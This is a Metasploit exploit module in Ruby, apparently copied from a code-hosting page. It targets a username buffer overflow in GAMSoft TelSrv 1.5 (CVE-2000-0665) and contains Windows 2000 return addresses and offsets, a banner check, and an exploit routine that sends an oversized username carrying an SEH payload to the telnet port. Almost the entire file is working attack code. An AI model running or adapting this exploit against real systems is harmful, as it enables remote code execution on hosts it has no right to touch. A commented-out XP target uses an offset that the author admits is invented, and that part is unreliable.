121 lines
3.1 KiB
Ruby
121 lines
3.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
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'Description' => %q{
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This module exploits a username sprintf stack overflow in GAMSoft TelSrv 1.5.
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Other versions may also be affected. The service terminates after exploitation,
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so you only get one chance!
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},
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'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
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'Arch' => [ ARCH_X86 ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2000-0665'],
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[ 'OSVDB', '373'],
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[ 'BID', '1478'],
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[ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a",
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'StackAdjustment' => -3500,
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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[ 'Windows 2000 Pro SP0/4 English REMOTE',
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{
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'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
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'Offset' => 1886,
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}
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],
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[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
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{
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'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
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'Offset' => 3318,
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}
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],
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[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
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{
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'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
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'Offset' => 3358,
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}
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],
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=begin
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[ 'Windows XP Pro SP0/1 English',
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{
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'Ret' => 0x71aa32ad, # pop/pop/ret xp pro en ALL
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'Offset' => 2600, # this is made up and absolutely wrong ;-)
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}
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],
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=end
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],
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'DisclosureDate' => 'Jul 17 2000',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(23),
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], self.class)
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end
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def check
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connect
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print_status("Attempting to determine if target is vulnerable...")
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sleep(7)
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banner = sock.get_once(-1,3)
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if (banner =~ /TelSrv 1\.5/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
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connect
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print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
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sleep(7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.
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username = rand_text_english(20000, payload_badchars)
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seh = generate_seh_payload(target.ret)
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username[target['Offset'], seh.length] = seh
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print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
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sock.put(username)
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sleep(0.25)
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print_status('Exploit sent...')
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handler
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disconnect
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end
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end
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